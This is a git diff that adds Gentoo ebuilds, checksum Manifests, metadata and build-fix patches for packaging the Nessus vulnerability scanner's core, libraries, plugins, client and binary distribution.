+# We are using the Red Hat/CentOS binary
+
+DESCRIPTION="A remote security scanner for Linux"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI="
+ x86? ( ${MY_P}.i686.rpm )
+ amd64? ( ${MY_P}.x86_64.rpm )"
+
+RESTRICT="mirror fetch strip"
+
+LICENSE="GPL-2 Nessus-EULA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE="X"
+
+pkg_nofetch() {
+ einfo "Please download ${A} from ${HOMEPAGE}/download"
+ einfo "The archive should then be placed into ${DISTDIR}."
+}
+
+src_install() {
+ cp -pPR "${WORKDIR}"/opt "${D}"/
+
+ # make sure these directories do not vanish
+ # nessus will not run properly without them
+ keepdir /opt/nessus/etc/nessus
+ keepdir /opt/nessus/var/nessus/jobs
+ keepdir /opt/nessus/var/nessus/logs
+ keepdir /opt/nessus/var/nessus/tmp
+ keepdir /opt/nessus/var/nessus/users
+
+ # add PATH and MANPATH for convenience
+ doenvd "${FILESDIR}"/90nessus-bin
+
+ # init script
+ newinitd "${FILESDIR}"/nessusd-initd nessusd-bin
+ dosym libssl.so /usr/$(get_libdir)/libssl.so.10
+ dosym libcrypto.so /usr/$(get_libdir)/libcrypto.so.10
+}
+
+pkg_postinst() {
+ elog "You can get started running the following commands:"
+ elog "/opt/nessus/sbin/nessus-adduser"
+ elog "/opt/nessus/sbin/nessus-mkcert"
+ elog "/opt/nessus/bin/nessus-fetch --register <your registration code>"
+ elog "/etc/init.d/nessusd-bin start"
+ elog
+ elog "If you had a previous version of Nessus installed, use"
+ elog "the following command to update the plugin database:"
+ elog "/opt/nessus/sbin/nessusd -R"
+ elog
+ elog "For more information about nessus, please visit"
+ elog "${HOMEPAGE}/documentation/"
+}
diff --git a/net-analyzer/nessus-client/Manifest b/net-analyzer/nessus-client/Manifest
new file mode 100644
index 000000000000..b149f66dc6ce
--- /dev/null
+++ b/net-analyzer/nessus-client/Manifest
@@ -0,0 +1,2 @@
+DIST NessusClient-1.0.2.tar.gz 2058324 RMD160 e641d060fc1c4aaecdc75b3b18d8d6c3e4320c40 SHA1 bed8d5ac52f1e224cb41192a1a6b8cc568398bfb SHA256 e9c26c2cefce3e0e3eade69199272fcbf2e9c1bd19d51ae8f8d73b0e82aee1af
+DIST nessus-client.png.bz2 10043 RMD160 9d1af8ec4533da24e282ad3168fc29dd1fb9845c SHA1 71a09d8cc82336b0036dd318953a4d90e8d5b523 SHA256 857de50872354058de10fee0bd2bbc2a59e6ec56d75ccfd331847cf16142ce4c
diff --git a/net-analyzer/nessus-client/files/nessus-client-1.0.2-make.patch b/net-analyzer/nessus-client/files/nessus-client-1.0.2-make.patch
new file mode 100644
index 000000000000..a233449b14ad
--- /dev/null
+++ b/net-analyzer/nessus-client/files/nessus-client-1.0.2-make.patch
@@ -0,0 +1,74 @@
+--- a/Makefile 2006-12-23 15:27:39.000000000 +0100
++++ b/Makefile 2010-08-23 01:12:51.000000000 +0200
+@@ -2,8 +2,10 @@
+
+ ALLDEPS = nessus.tmpl
+
+-all: libnessus-client client sslstuff
+-
++all:
++ $(MAKE) -C libnessus
++ $(MAKE) -C nessus
++ $(MAKE) -C ssl
+
+ nessus.tmpl: nessus.tmpl.in configure VERSION
+ $(SHELL) configure $(CONFIGURE_ARGS)
+@@ -21,20 +23,17 @@
+ $(INSTALL) -m $(CLIENTMODE) nessusclient-mkcert $(DESTDIR)${bindir}
+ $(INSTALL) -m $(CLIENTMODE) ssl/nessusclient-mkrand $(DESTDIR)${bindir}
+
+-sslstuff:
+- cd ssl && $(MAKE)
+-
+ install-man:
+ @echo installing man pages ...
+ @test -d $(DESTDIR)${mandir}/man1 || $(INSTALL_DIR) $(DESTDIR)${mandir}/man1
+ @test -d $(DESTDIR)${mandir}/man8 || $(INSTALL_DIR) $(DESTDIR)${mandir}/man8
+ @test -d $(DESTDIR)${datadir}/doc/ || $(INSTALL_DIR) $(DESTDIR)${datadir}/doc/
+- @test -d $(DESTDIR)${datadir}/doc/NessusClient || $(INSTALL_DIR) $(DESTDIR)${datadir}/doc/NessusClient
++ @test -d $(NESSUS_DOCDIR) || $(INSTALL_DIR) $(NESSUS_DOCDIR)
+
+ $(INSTALL) -c -m 0444 ${MAN_NESSUS_1} $(DESTDIR)${mandir}/man1/NessusClient.1
+ $(INSTALL) -c -m 0444 doc/nessusclient-mkcert.1 $(DESTDIR)${mandir}/man1/nessusclient-mkcert.1
+ $(INSTALL) -c -m 0444 doc/nessusclient-mkrand.1 $(DESTDIR)${mandir}/man1/nessusclient-mkrand.1
+- $(INSTALL) -c -m 0444 doc/NessusClient_UserGuide.pdf $(DESTDIR)${datadir}/doc/NessusClient/NessusClient_UserGuide.pdf
++ $(INSTALL) -c -m 0444 doc/NessusClient_UserGuide.pdf $(NESSUS_DOCDIR)/NessusClient_UserGuide.pdf
+
+ win32: ${MAN_NESSUS_1}
+ $(MANROFF) ${MAN_NESSUS_1} > doc/NessusClient.1.cat
+@@ -45,23 +44,15 @@
+ @echo ' --------------------------------------------------------------'
+ @echo
+
+-client-install : client
++client-install : nessus
+ test -d $(DESTDIR)${bindir} || $(INSTALL_DIR) -m 755 $(DESTDIR)${bindir}
+ $(INSTALL) -m $(CLIENTMODE) ${make_bindir}/NessusClient $(DESTDIR)${bindir}
+
+-client :
+- cd nessus && $(MAKE)
+-
+-libnessus-client:
+- cd libnessus && $(MAKE)
+-
+-
+ doc : $(MAN_NESSUS_1)
+
+ $(MAN_NESSUS_1) : $(MAN_NESSUS_1).in
+ @sed -e 's?@NESSUSD_CONFDIR@?${NESSUSD_CONFDIR}?g;s?@NESSUSD_DATADIR@?${NESSUSD_DATADIR}?g;s?@NESSUSD_PLUGINS@?${NESSUSD_PLUGINS}?g;' $(MAN_NESSUS_1).in >$(MAN_NESSUS_1)
+
+-
+ clean:
+ cd nessus && $(MAKE) clean
+ cd libnessus && $(MAKE) clean
+--- a/ssl/Makefile 2006-09-12 23:41:31.000000000 +0200
++++ b/ssl/Makefile 2010-08-23 01:16:51.000000000 +0200
+@@ -6,7 +6,7 @@
+ all : nessusclient-mkrand
+
+ nessusclient-mkrand: $(OBJS)
+- $(CC) $(OBJS) -o nessusclient-mkrand -lm
++ $(CC) $(LDFLAGS) $(OBJS) -o nessusclient-mkrand -lm
+
+ nessusclient-mkrand.o: nessusclient-mkrand.c
+ $(CC) $(CFLAGS) -c nessusclient-mkrand.c
diff --git a/net-analyzer/nessus-client/metadata.xml b/net-analyzer/nessus-client/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/nessus-client/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nessus-client/nessus-client-1.0.2-r1.ebuild b/net-analyzer/nessus-client/nessus-client-1.0.2-r1.ebuild
new file mode 100644
index 000000000000..16577ef520da
--- /dev/null
+++ b/net-analyzer/nessus-client/nessus-client-1.0.2-r1.ebuild
@@ -0,0 +1,57 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=2
+inherit eutils toolchain-funcs
+
+MY_PN=NessusClient
+MY_P=${MY_PN}-${PV}
+
+DESCRIPTION="A client for the Nessus vulnerability scanner"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI="mirror://gentoo/${MY_P}.tar.gz
+ mirror://gentoo/nessus-client.png.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86"
+IUSE="doc"
+
+RDEPEND="!net-analyzer/nessus-core
+ dev-libs/openssl
+ >=x11-libs/gtk+-2.8.8:2"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+ doc? ( app-text/htmldoc )"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-make.patch
+ sed -i \
+ -e "/NESSUS_DOCDIR/s|/doc/NessusClient|/doc/${PF}|g" \
+ nessus.tmpl.in || die
+}
+
+src_configure() {
+ tc-export CC
+ econf
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die
+ dodoc CHANGES README_SSL VERSION
+
+ doicon "${WORKDIR}"/${PN}.png
+ make_desktop_entry NessusClient "Nessus Client" nessus-client "Network"
+}
+
+pkg_postinst() {
+ if ! use doc; then
+ elog "If you do not have documentation installed, nessus-client"
+ elog "will complain. To install documentation, please emerge with"
+ elog "the doc useflag set. Beware that it will emerge app-text/htmldoc,"
+ elog "a big package."
+ fi
+}
diff --git a/net-analyzer/nessus-core/Manifest b/net-analyzer/nessus-core/Manifest
new file mode 100644
index 000000000000..be37616e0955
--- /dev/null
+++ b/net-analyzer/nessus-core/Manifest
@@ -0,0 +1 @@
+DIST nessus-core-2.2.9.tar.gz 674390 SHA256 b725ace4ef619bc19b372eac9a60db7b083a3e155e11c65443618e52b56c847e
diff --git a/net-analyzer/nessus-core/files/2.2.9-crash.patch b/net-analyzer/nessus-core/files/2.2.9-crash.patch
new file mode 100644
index 000000000000..d95c28404de2
--- /dev/null
+++ b/net-analyzer/nessus-core/files/2.2.9-crash.patch
@@ -0,0 +1,15 @@
+--- nessus-core/nessus/auth.c 2007-08-31 23:12:36.000000000 +0200
++++ nessus-core/nessus/auth.c 2007-08-31 23:12:52.000000000 +0200
+@@ -92,11 +92,11 @@
+ char * buffer = emalloc(s);
+ int len, n = 0;
+ signal(SIGPIPE, sighand_pipe);
+- va_start(param, data);
+
+
+ for(;;)
+ {
++ va_start(param, data);
+ r = vsnprintf(buffer, s - 1, data, param);
+ if(r >= 0 && r < s)break;
+ s = r > s ? r + 2 : s * 2;
diff --git a/net-analyzer/nessus-core/files/2.2.9-gentoo.patch b/net-analyzer/nessus-core/files/2.2.9-gentoo.patch
new file mode 100644
index 000000000000..c97f6979340d
--- /dev/null
+++ b/net-analyzer/nessus-core/files/2.2.9-gentoo.patch
@@ -0,0 +1,58 @@
+ Makefile | 10 +++++-----
+ nessus-fetch/Makefile | 2 +-
+ ssl/Makefile | 2 +-
+ 3 files changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index b1485b3..382900a 100644
+--- a/Makefile
++++ b/Makefile
+@@ -86,17 +86,17 @@ client-install : client
+ $(INSTALL) -m $(CLIENTMODE) ${make_bindir}/nessus $(DESTDIR)${bindir}
+
+ client :
+- cd nessus && $(MAKE)
++ $(MAKE) -C nessus
+
+-server :
+- cd nessusd && $(MAKE)
++server : client
++ $(MAKE) -C nessusd
+
+ sslstuff :
+- cd ssl && $(MAKE)
++ $(MAKE) -C ssl
+
+
+ fetchtool:
+- cd nessus-fetch && $(MAKE)
++ $(MAKE) -C nessus-fetch
+
+
+ doc : $(MAN_NESSUS_1) $(MAN_NESSUSD_8)
+diff --git a/nessus-fetch/Makefile b/nessus-fetch/Makefile
+index 63439bc..89fd8c9 100644
+--- a/nessus-fetch/Makefile
++++ b/nessus-fetch/Makefile
+@@ -5,7 +5,7 @@ include ../nessus.tmpl
+ all: nessus-fetch
+
+ nessus-fetch: nessus-fetch.o
+- $(CC) nessus-fetch.o -o nessus-fetch $(LIBS)
++ $(CC) $(LDFLAGS) nessus-fetch.o -o nessus-fetch $(LIBS)
+
+ nessus-fetch.o: nessus-fetch.c
+ $(CC) $(NESSUS_CFLAGS) ${include} $(DEFS) $(NESSUS_DEFS) -c nessus-fetch.c
+diff --git a/ssl/Makefile b/ssl/Makefile
+index 738a692..5e51426 100644
+--- a/ssl/Makefile
++++ b/ssl/Makefile
+@@ -6,7 +6,7 @@ OBJS = nessus-mkrand.o
+ all : nessus-mkrand
+
+ nessus-mkrand: $(OBJS)
+- $(CC) $(OBJS) -o nessus-mkrand -lm
++ $(CC) $(LDFLAGS) $(OBJS) -o nessus-mkrand -lm
+
+ nessus-mkrand.o: nessus-mkrand.c
+ $(CC) $(CFLAGS) -c nessus-mkrand.c
diff --git a/net-analyzer/nessus-core/files/nessus-core-2.2.9-open.patch b/net-analyzer/nessus-core/files/nessus-core-2.2.9-open.patch
new file mode 100644
index 000000000000..fe60ede62b29
--- /dev/null
+++ b/net-analyzer/nessus-core/files/nessus-core-2.2.9-open.patch
@@ -0,0 +1,11 @@
+--- nessus-core/nessusd/detached.c.orig
++++ nessus-core/nessusd/detached.c
+@@ -408,7 +408,7 @@
+ char * target;
+ {
+ char * fname = detached_fname(globals);
+- int f = open(fname, O_CREAT|O_WRONLY|O_TRUNC);
++ int f = open(fname, O_CREAT|O_WRONLY|O_TRUNC, 0600);
+ if(f >= 0)
+ {
+ write(f, target, strlen(target));
diff --git a/net-analyzer/nessus-core/files/nessusd-r7 b/net-analyzer/nessus-core/files/nessusd-r7
new file mode 100644
index 000000000000..5707584ce427
--- /dev/null
+++ b/net-analyzer/nessus-core/files/nessusd-r7
@@ -0,0 +1,26 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting nessusd"
+ start-stop-daemon --start --quiet --exec /usr/sbin/nessusd -- -D
+ eend $?
+}
+
+stop() {
+ ebegin "Stop nessusd"
+ start-stop-daemon --stop --quiet --exec /usr/sbin/nessusd
+ einfo "Waiting for the environment to be sane"
+ while [ -n "$RUNNING" ] ; do
+ sleep 1
+ RUNNING=$(ps aux | grep -m 1 nessusd: | grep -v grep)
+ done
+ sleep 3
+ eend $?
+}
diff --git a/net-analyzer/nessus-core/metadata.xml b/net-analyzer/nessus-core/metadata.xml
new file mode 100644
index 000000000000..b4c5e4abe562
--- /dev/null
+++ b/net-analyzer/nessus-core/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>A remote security scanner for Linux (nessus-core)</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/nessus-core/nessus-core-2.2.9-r1.ebuild b/net-analyzer/nessus-core/nessus-core-2.2.9-r1.ebuild
new file mode 100644
index 000000000000..c9d246400281
--- /dev/null
+++ b/net-analyzer/nessus-core/nessus-core-2.2.9-r1.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit toolchain-funcs eutils autotools
+
+DESCRIPTION="A remote security scanner for Linux (nessus-core)"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI="ftp://ftp.nessus.org/pub/nessus/nessus-${PV}/src/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos"
+IUSE="debug gtk prelude tcpd"
+
+RDEPEND="
+ ~net-analyzer/nessus-libraries-${PV}
+ ~net-analyzer/libnasl-${PV}
+ tcpd? ( sys-apps/tcp-wrappers )
+ gtk? ( x11-libs/gtk+:2 )
+ prelude? ( dev-libs/libprelude )
+ !net-analyzer/nessus-client"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${PN}
+
+DOCS="README* UPGRADE_README CHANGES doc/*.txt doc/ntp/*"
+
+src_prepare() {
+ tc-export CC
+ epatch \
+ "${FILESDIR}"/${PV}-gentoo.patch \
+ "${FILESDIR}"/${PV}-crash.patch \
+ "${FILESDIR}"/${P}-open.patch
+
+ sed -i -e "/^LDFLAGS/s:$:${LDFLAGS}:g" nessus.tmpl.in || die
+ sed -i -e 's:CFLAGS="-g"; ::' configure.in || die
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_enable tcpd tcpwrappers) \
+ $(use_enable debug) \
+ $(use_enable gtk)
+}
+
+src_compile() {
+ emake -C nessus cflags
+ emake -C nessusd cflags
+ default
+}
+
+src_install() {
+ default
+ newinitd "${FILESDIR}"/nessusd-r7 nessusd
+ keepdir /var/lib/nessus/logs
+ keepdir /var/lib/nessus/users
+ # newer version is provided by nessus-libraries
+ # should be fixed upstream in version 2.2.6
+ rm "${ED}"/usr/include/nessus/includes.h
+}
diff --git a/net-analyzer/nessus-libraries/Manifest b/net-analyzer/nessus-libraries/Manifest
new file mode 100644
index 000000000000..50ec07ea7b23
--- /dev/null
+++ b/net-analyzer/nessus-libraries/Manifest
@@ -0,0 +1 @@
+DIST nessus-libraries-2.2.9.tar.gz 426560 SHA256 5a3c32d6eab8ccc8a22ab5bb224228152e10731c06561f679c41b92263c7ef18
diff --git a/net-analyzer/nessus-libraries/files/nessus-libraries-2.2.9-linking.patch b/net-analyzer/nessus-libraries/files/nessus-libraries-2.2.9-linking.patch
new file mode 100644
index 000000000000..41cd2b21c938
--- /dev/null
+++ b/net-analyzer/nessus-libraries/files/nessus-libraries-2.2.9-linking.patch
@@ -0,0 +1,61 @@
+ Makefile | 4 ++--
+ libhosts_gatherer/Makefile | 2 +-
+ libnessus/Makefile | 4 ++--
+ libnessus/kb.c | 1 +
+ 4 files changed, 6 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index 938d1b2..672d8cf 100644
+--- a/Makefile
++++ b/Makefile
+@@ -3,8 +3,8 @@ include nessus.tmpl
+ ALLDEPS = nessus.tmpl nessus-config
+
+ all: $(ALLDEPS) $(PCAP_MAKE)
+- cd libnessus && ${MAKE}
+- cd libhosts_gatherer && ${MAKE}
++ ${MAKE} -C libnessus
++ ${MAKE} -C libhosts_gatherer
+
+ nessus-config: nessus-config.pre Makefile nessus.tmpl
+ @echo Creating $@ ...
+diff --git a/libhosts_gatherer/Makefile b/libhosts_gatherer/Makefile
+index e2a647c..7d628d8 100644
+--- a/libhosts_gatherer/Makefile
++++ b/libhosts_gatherer/Makefile
+@@ -22,7 +22,7 @@ install : libhosts_gatherer.la
+ $(LIBTOOL) --finish $(DESTDIR)${libdir}
+
+ libhosts_gatherer.la : $(OBJS)
+- $(LIBTOOL) $(CC) -o libhosts_gatherer.la $(LO_OBJS) -rpath ${libdir} \
++ $(LIBTOOL) $(CC) $(LDFLAGS) -o libhosts_gatherer.la $(LO_OBJS) -rpath ${libdir} \
+ -version-info ${PACKAGE_VERSION}
+
+ hg_utils.o : hg_utils.h hosts_gatherer.h hg_utils.c
+diff --git a/libnessus/Makefile b/libnessus/Makefile
+index c5a96db..211f57a 100644
+--- a/libnessus/Makefile
++++ b/libnessus/Makefile
+@@ -100,8 +100,8 @@ kb.o: kb.c
+ snprintf.o : snprintf.c
+ $(LIBTOOL) $(CC) $(CIPHER) $(DEFS) $(INCLUDE) $(CFLAGS) -c snprintf.c
+ libnessus.la: $(OBJS)
+- $(LIBTOOL) $(CC) -o libnessus.la $(LO_OBJS) -rpath ${libdir} \
+- -version-info ${PACKAGE_VERSION}
++ $(LIBTOOL) $(CC) $(LDFLAGS) -o libnessus.la $(LO_OBJS) -rpath ${libdir} \
++ -version-info ${PACKAGE_VERSION} `pcap-config --libs` `pkg-config --libs openssl`
+
+ install : libnessus.la
+ test -d $(DESTDIR)${libdir} || $(INSTALL_DIR) -m 755 $(DESTDIR)${libdir}
+diff --git a/libnessus/kb.c b/libnessus/kb.c
+index 921c1a1..cbfd840 100644
+--- a/libnessus/kb.c
++++ b/libnessus/kb.c
+@@ -20,6 +20,7 @@
+ */
+
+ #include <includes.h>
++#include <fnmatch.h>
+ #define HASH_MAX 65537
+
+
diff --git a/net-analyzer/nessus-libraries/metadata.xml b/net-analyzer/nessus-libraries/metadata.xml
new file mode 100644
index 000000000000..6f2576670f1f
--- /dev/null
+++ b/net-analyzer/nessus-libraries/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>A remote security scanner for Linux (nessus-libraries)</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/nessus-libraries/nessus-libraries-2.2.9-r1.ebuild b/net-analyzer/nessus-libraries/nessus-libraries-2.2.9-r1.ebuild
new file mode 100644
index 000000000000..021412e61162
--- /dev/null
+++ b/net-analyzer/nessus-libraries/nessus-libraries-2.2.9-r1.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="A remote security scanner for Linux (nessus-libraries)"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI="ftp://ftp.nessus.org/pub/nessus/nessus-${PV}/src/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~amd64-linux"
+IUSE="crypt debug static-libs"
+
+# Hard dep on SSL since libnasl won't compile when this package is emerged -ssl.
+DEPEND="
+ dev-libs/openssl
+ net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"/${PN}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-linking.patch
+
+ sed -i -e "s:^\(LDFLAGS=\):\1 ${LDFLAGS}:g" nessus.tmpl.in || die
+ sed -i -e '/sbindir/d' Makefile || die
+}
+
+src_configure() {
+ tc-export CC
+ econf \
+ $(use_enable crypt cypher) \
+ $(use_enable debug) \
+ $(use_enable debug debug-ssl) \
+ $(use_enable static-libs static) \
+ --enable-shared \
+ --with-ssl="${EPREFIX}/usr/$(get_libdir)" \
+ --disable-nessuspcap
+}
+
+src_install() {
+ default
+ use static-libs || find "${ED}" -name '*.la' -delete
+}
diff --git a/net-analyzer/nessus-plugins/Manifest b/net-analyzer/nessus-plugins/Manifest
new file mode 100644
index 000000000000..c05ec946532a
--- /dev/null
+++ b/net-analyzer/nessus-plugins/Manifest
@@ -0,0 +1 @@
+DIST nessus-plugins-GPL-2.2.9.tar.gz 1064740 RMD160 bb2a853f4e7e5041c8d134d12b5a545a9009750e SHA1 39ad84c496f93ee944b60113dbac619a246b3bb2 SHA256 126b98173647113946a69ea5e3896cfd92261571d507b37febbdb269c632d395
diff --git a/net-analyzer/nessus-plugins/files/2.2.9-gentoo.patch b/net-analyzer/nessus-plugins/files/2.2.9-gentoo.patch
new file mode 100644
index 000000000000..39366844382f
--- /dev/null
+++ b/net-analyzer/nessus-plugins/files/2.2.9-gentoo.patch
@@ -0,0 +1,58 @@
+ plugins/find_service/Makefile | 2 +-
+ plugins/nessus_tcp_scanner/Makefile | 2 +-
+ plugins/ssl_ciphers/Makefile | 2 +-
+ plugins/synscan/Makefile | 2 +-
+ 4 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/plugins/find_service/Makefile b/plugins/find_service/Makefile
+index f4fd8e3..12e62a3 100644
+--- a/plugins/find_service/Makefile
++++ b/plugins/find_service/Makefile
+@@ -5,7 +5,7 @@ PLUGNAME=find_service
+ all : $(PLUGNAME).nes
+ $(PLUGNAME).nes : $(PLUGNAME).c
+ $(LIBTOOL) $(CC) $(DEFS) $(include) -c $(PLUGNAME).c
+- $(LIBTOOL) $(CC) $(DEFS) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) \
++ $(LIBTOOL) $(CC) $(LDFLAGS) $(DEFS) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) \
+ -rpath $(rootdir)/bin/plugins
+ ../install_plug $(PLUGNAME) $(rootdir)
+ clean :
+diff --git a/plugins/nessus_tcp_scanner/Makefile b/plugins/nessus_tcp_scanner/Makefile
+index 8cf6c6d..7a27495 100644
+--- a/plugins/nessus_tcp_scanner/Makefile
++++ b/plugins/nessus_tcp_scanner/Makefile
+@@ -8,7 +8,7 @@ PLUGNAME=nessus_tcp_scanner
+ all : $(PLUGNAME).nes
+ $(PLUGNAME).nes : $(PLUGNAME).c
+ $(LIBTOOL) $(CC) $(DEFS) $(include) -c $(PLUGNAME).c
+- $(LIBTOOL) $(CC) $(DEFS) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) -lm $(LIBUTIL) \
++ $(LIBTOOL) $(CC) $(LDFLAGS) $(DEFS) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) -lm $(LIBUTIL) \
+ -rpath $(rootdir)/bin/plugins
+ ../install_plug $(PLUGNAME) $(rootdir)
+ clean :
+diff --git a/plugins/ssl_ciphers/Makefile b/plugins/ssl_ciphers/Makefile
+index dc10e64..1747745 100644
+--- a/plugins/ssl_ciphers/Makefile
++++ b/plugins/ssl_ciphers/Makefile
+@@ -5,7 +5,7 @@ PLUGNAME=ssl_ciphers
+ all : $(PLUGNAME).nes
+ $(PLUGNAME).nes : $(PLUGNAME).c
+ $(LIBTOOL) $(CC) $(DEFS) $(include) -c $(PLUGNAME).c
+- $(LIBTOOL) $(CC) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) \
++ $(LIBTOOL) $(CC) $(LDFLAGS) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) \
+ -rpath $(rootdir)/bin/plugins
+ ../install_plug $(PLUGNAME) $(rootdir)
+ clean :
+diff --git a/plugins/synscan/Makefile b/plugins/synscan/Makefile
+index 16aefa1..c434b92 100644
+--- a/plugins/synscan/Makefile
++++ b/plugins/synscan/Makefile
+@@ -5,7 +5,7 @@ PLUGNAME=synscan
+ all : $(PLUGNAME).nes
+ $(PLUGNAME).nes : $(PLUGNAME).c
+ $(LIBTOOL) $(CC) $(DEFS) $(include) -c $(PLUGNAME).c
+- $(LIBTOOL) $(CC) $(DEFS) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) \
++ $(LIBTOOL) $(CC) $(DEFS) $(LDFLAGS) -o lib$(PLUGNAME).la $(PLUGNAME).lo $(LIBS) \
+ -rpath $(rootdir)/bin/plugins
+ ../install_plug $(PLUGNAME) $(rootdir)
+ clean :
diff --git a/net-analyzer/nessus-plugins/metadata.xml b/net-analyzer/nessus-plugins/metadata.xml
new file mode 100644
index 000000000000..59050fce4a92
--- /dev/null
+++ b/net-analyzer/nessus-plugins/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>A remote security scanner for Linux (nessus-plugins)</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/nessus-plugins/nessus-plugins-2.2.9-r1.ebuild b/net-analyzer/nessus-plugins/nessus-plugins-2.2.9-r1.ebuild
new file mode 100644
index 000000000000..8c47109b237c
--- /dev/null
+++ b/net-analyzer/nessus-plugins/nessus-plugins-2.2.9-r1.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A remote security scanner for Linux (nessus-plugins)"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI="ftp://ftp.nessus.org/pub/nessus/nessus-${PV}/src/nessus-plugins-GPL-${PV}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~alpha ~amd64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd"
+IUSE=""
+
+RDEPEND="
+ dev-libs/openssl:0
+ ~net-analyzer/nessus-core-${PV}
+ ~net-analyzer/nessus-libraries-${PV}
+ net-libs/libpcap"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"/${PN}
+
+src_prepare() {
+ tc-export CC
+ epatch "${FILESDIR}"/${PV}-gentoo.patch
+}
+
+src_install() {
+ default
+ dodoc docs/*.txt
+}
diff --git a/net-analyzer/nessus/metadata.xml b/net-analyzer/nessus/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/nessus/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nessus/nessus-2.2.9.ebuild b/net-analyzer/nessus/nessus-2.2.9.ebuild
new file mode 100644
index 000000000000..71b1f499f3bd
--- /dev/null
+++ b/net-analyzer/nessus/nessus-2.2.9.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+DESCRIPTION="A remote security scanner"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI=""
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~alpha ~amd64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd"
+IUSE=""
+
+DEPEND=""
+RDEPEND="
+ ~net-analyzer/nessus-libraries-${PV}
+ ~net-analyzer/libnasl-${PV}
+ ~net-analyzer/nessus-core-${PV}
+ ~net-analyzer/nessus-plugins-${PV}"
+
+pkg_postinst() {
+ elog "The following article may be useful to get started:"
+ elog "http://www.securityfocus.com/infocus/1741"
+}
+
+pkg_postrm() {
+ elog "Note: this is a META ebuild for ${P}."
+ elog "to remove it completely or before re-emerging"
+ elog "either use 'depclean', or remove/re-emerge these packages:"
+ elog
+ for dep in ${RDEPEND}; do
+ elog " ${dep}"
+ done
+ echo
+}
